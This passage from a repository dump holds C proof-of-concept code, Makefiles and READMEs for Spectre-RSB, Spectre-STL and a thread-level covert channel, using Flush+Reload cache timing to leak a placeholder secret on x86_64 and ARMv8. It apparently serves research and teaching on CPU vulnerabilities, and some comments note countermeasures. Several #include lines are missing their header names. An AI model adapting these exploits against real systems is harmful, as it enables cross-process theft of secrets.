__attribute__((noinline)) attacker() { 19 | // Attacker is going to sleep for 65 20 | asm volatile("movq $65, %r14\t\n"); // 65 is 'A' 21 | 22 | while(1) { 23 | // Put to sleep 24 | // As victim will sometimes wake up before the attacker, it will return here 25 | in_place(); 26 | size_t secret = 0; 27 | // Retrieve secret data from register r14 28 | asm volatile("movq %%r14, %0\n\t": "=r"(secret)); 29 | 30 | // Encode data in covert channel 31 | cache_encode(secret); 32 | } 33 | } 34 | 35 | void* __attribute__((noinline)) victim() { 36 | // Victim is going to sleep for 83 37 | asm volatile("movq $83, %r14\t\n"); // 83 is 'S' 38 | while(1) { 39 | // Call function and return here after misspeculation is detected 40 | in_place(); 41 | } 42 | } 43 | 44 | int main(int argc, char **argv) { 45 | pagesize = sysconf(_SC_PAGESIZE); 46 | // Detect cache threshold 47 | if(!CACHE_MISS) 48 | CACHE_MISS = detect_flush_reload_threshold(); 49 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 50 | 51 | char *_mem = malloc(pagesize * (256 + 4)); 52 | mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); 53 | memset(mem, 0, pagesize * 256); 54 | 55 | // Create two interleaving threads 56 | pthread_t attacker_thread; 57 | pthread_t victim_thread; 58 | pthread_create(&attacker_thread, 0, attacker, 0); 59 | pthread_create(&victim_thread, 0, victim, 0); 60 | 61 | while(1) { 62 | // Flush our shared memory 63 | flush_shared_memory(); 64 | 65 | mfence(); 66 | nospec(); 67 | 68 | // Recover data from covert channel 69 | for (int i = 0; i < 256; i++) { 70 | int mix_i = ((i * 167) + 13) & 255; // avoid prefetcher 71 | if (flush_reload(mem + mix_i * pagesize)) { 72 | if (mix_i > 'A' && mix_i <= 'Z') { 73 | printf("%c ", mix_i); 74 | break; 75 | } 76 | fflush(stdout); 77 | sched_yield(); 78 | } 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/sa_oop/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/sa_oop/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-RSB PoC 2 | 3 | This folder contains a Spectre RSB proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | [*] Flush+Reload Threshold: 180 16 | [ ] INACCESSIBLE SECRET 17 | 18 | [>] Done 19 | ``` 20 | 21 | ## How it works 22 | 23 | The PoC has the following call chain consisting of 3 functions: 24 | 25 | +------------+ +-----------+ +-----------------------+ 26 | | call_start | ---> | call_leak | ---> | call_manipulate_stack | 27 | +------------+ +-----------+ +-----------------------+ 28 | ^ ^ - - - - - - - ' (speculatively) | 29 | '-----------------------------------------------------' 30 | (architecturally) 31 | 32 | The `call_leak` function encodes some secret data and encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). 33 | As the `call_manipulate_stack` removes the return address (which points to `call_leak`) from the stack, the return from `call_manipulate_stack` continues (architecturally) in `call_start`. 34 | Speculatively, however, the return returns to `call_leak` (as this is the location stored in the RSB) where the secret value is leaked. 35 | 36 | ## Troubleshooting 37 | 38 | * The output is garbage (mostly just "AAAAAAAAAA...") 39 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 40 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 41 | 42 | * The program appears to hang 43 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 44 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 45 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 46 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 47 | -------------------------------------------------------------------------------- /pocs/spectre/RSB/sa_oop/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "libcache/cacheutils.h" 9 | 10 | // inaccessible secret 11 | #define SECRET "INACCESSIBLE SECRET" 12 | 13 | unsigned char data[128]; 14 | int idx; 15 | 16 | // Pop return address from the software stack, causing misspeculation when hitting the return 17 | int __attribute__ ((noinline)) call_manipulate_stack() { 18 | #if defined(__i386__) || defined(__x86_64__) 19 | asm volatile("pop %%rax\n" : : : "rax"); 20 | #elif defined(__aarch64__) 21 | asm volatile("ldp x29, x30, [sp],#16\n" : : : "x29"); 22 | #endif 23 | return 0; 24 | } 25 | 26 | int __attribute__ ((noinline)) call_leak() { 27 | // Manipulate the stack so that we don't return here, but to call_start 28 | call_manipulate_stack(); 29 | // architecturally, this is never executed 30 | // Encode data in covert channel 31 | cache_encode(SECRET[idx]); 32 | return 2; 33 | } 34 | 35 | int __attribute__ ((noinline)) call_start() { 36 | call_leak(); 37 | return 1; 38 | } 39 | 40 | void confuse_compiler() { 41 | // this function -- although never called -- is required 42 | // otherwise, the compiler replaces the calls with jumps 43 | call_start(); 44 | call_leak(); 45 | call_manipulate_stack(); 46 | } 47 | 48 | int main(int argc, const char **argv) { 49 | // Detect cache threshold 50 | if(!CACHE_MISS) 51 | CACHE_MISS = detect_flush_reload_threshold(); 52 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 53 | 54 | pagesize = sysconf(_SC_PAGESIZE); 55 | char *_mem = malloc(pagesize * (256 + 4)); 56 | // page aligned 57 | mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); 58 | // initialize memory 59 | memset(mem, 0, pagesize * 256); 60 | 61 | // flush our shared memory 62 | flush_shared_memory(); 63 | // nothing leaked so far 64 | char leaked[sizeof(SECRET) + 1]; 65 | memset(leaked, ' ', sizeof(leaked)); 66 | leaked[sizeof(SECRET)] = 0; 67 | 68 | idx = 0; 69 | while(1) { 70 | // for every byte in the string 71 | idx = (idx + 1) % sizeof(SECRET); 72 | 73 | 74 | call_start(); 75 | 76 | // Recover data from covert channel 77 | cache_decode_pretty(leaked, idx); 78 | 79 | if(!strncmp(leaked, SECRET, sizeof(SECRET) - 1)) 80 | break; 81 | 82 | sched_yield(); 83 | } 84 | 85 | printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); 86 | 87 | return (0); 88 | } 89 | -------------------------------------------------------------------------------- /pocs/spectre/STL/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -Os -I../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/spectre/STL/README.md: -------------------------------------------------------------------------------- 1 | # Spectre-STL PoC 2 | 3 | This folder contains a Spectre-STL proof-of-concept implementation for x86_64 and ARMv8. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. 12 | 13 | The expected output is 14 | ``` 15 | [*] Flush+Reload Threshold: 200 16 | INACCESSIBLE SECRET 17 | 18 | [>] Done 19 | ``` 20 | 21 | ## How it works 22 | 23 | The array `data` stores some inaccessible data (i.e., a secret). The `access_array` first overwrites the secret in `data` with a dummy value ("######"), and afterwards encodes the value in the cache (cf. Spectre or Meltdown attack). If the store is not (speculatively) executed by the CPU, the previous value (i.e., the actual secret) is read and thus leaked. 24 | 25 | 26 | ## Troubleshooting 27 | 28 | * The output is garbage (mostly just "AAAAAAAAAA...") 29 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 30 | + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 31 | 32 | * The program does not leak anything 33 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. 34 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 35 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 36 | + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. 37 | -------------------------------------------------------------------------------- /pocs/spectre/STL/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | 12 | #include "libcache/cacheutils.h" 13 | 14 | // inaccessible (overwritten) secret 15 | #define SECRET "INACCESSIBLE SECRET" 16 | #define OVERWRITE '#' 17 | 18 | char* data; 19 | 20 | char access_array(int x) { 21 | // store secret in data 22 | strcpy(data, SECRET); 23 | 24 | // flushing the data which is used in the condition increases 25 | // probability of speculation 26 | mfence(); 27 | char** data_slowptr = &data; 28 | char*** data_slowslowptr = &data_slowptr; 29 | mfence(); 30 | flush(&x); 31 | flush(data_slowptr); 32 | flush(&data_slowptr); 33 | flush(data_slowslowptr); 34 | flush(&data_slowslowptr); 35 | // ensure data is flushed at this point 36 | mfence(); 37 | 38 | // overwrite data via different pointer 39 | // pointer chasing makes this extremely slow 40 | (*(*data_slowslowptr))[x] = OVERWRITE; 41 | 42 | // data[x] should now be "#" 43 | // uncomment next line to break attack 44 | //mfence(); 45 | // Encode stale value in the cache 46 | cache_encode(data[x]); 47 | } 48 | 49 | int main(int argc, const char **argv) { 50 | data = malloc(128); 51 | // Detect cache threshold 52 | if(!CACHE_MISS) 53 | CACHE_MISS = detect_flush_reload_threshold(); 54 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 55 | 56 | pagesize = sysconf(_SC_PAGESIZE); 57 | // countermeasure: 58 | // prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_STORE_BYPASS, PR_SPEC_DISABLE, 0, 0); 59 | 60 | // countermeasure 2: 61 | // prctl(PR_SET_NO_NEW_PRIVS, 1); 62 | // prctl(PR_SET_DUMPABLE, 0); 63 | // scmp_filter_ctx ctx; 64 | // ctx = seccomp_init(SCMP_ACT_ALLOW); 65 | // seccomp_load(ctx); 66 | // 67 | 68 | char *_mem = malloc(pagesize * (256 + 4)); 69 | // page aligned 70 | mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); 71 | // initialize memory 72 | memset(mem, 0, pagesize * 256); 73 | 74 | // store secret 75 | strcpy(data, SECRET); 76 | 77 | // Flush our shared memory 78 | flush_shared_memory(); 79 | 80 | // nothing leaked so far 81 | char leaked[sizeof(SECRET) + 1]; 82 | memset(leaked, ' ', sizeof(leaked)); 83 | leaked[sizeof(SECRET)] = 0; 84 | 85 | int j = 0; 86 | while(1) { 87 | // for every byte in the string 88 | j = (j + 1) % sizeof(SECRET); 89 | 90 | // overwrite value with X, then access 91 | access_array(j); 92 | 93 | mfence(); // avoid speculation 94 | // Recover data from covert channel 95 | cache_decode_pretty(leaked, j); 96 | 97 | if(!strncmp(leaked, SECRET, sizeof(SECRET) - 1)) 98 | break; 99 | 100 | sched_yield(); 101 | } 102 | printf("\n\n[\x1b[32m>\x1b[0m] Done\n"); 103 | 104 | return 0; 105 | } 106 | --------------------------------------------------------------------------------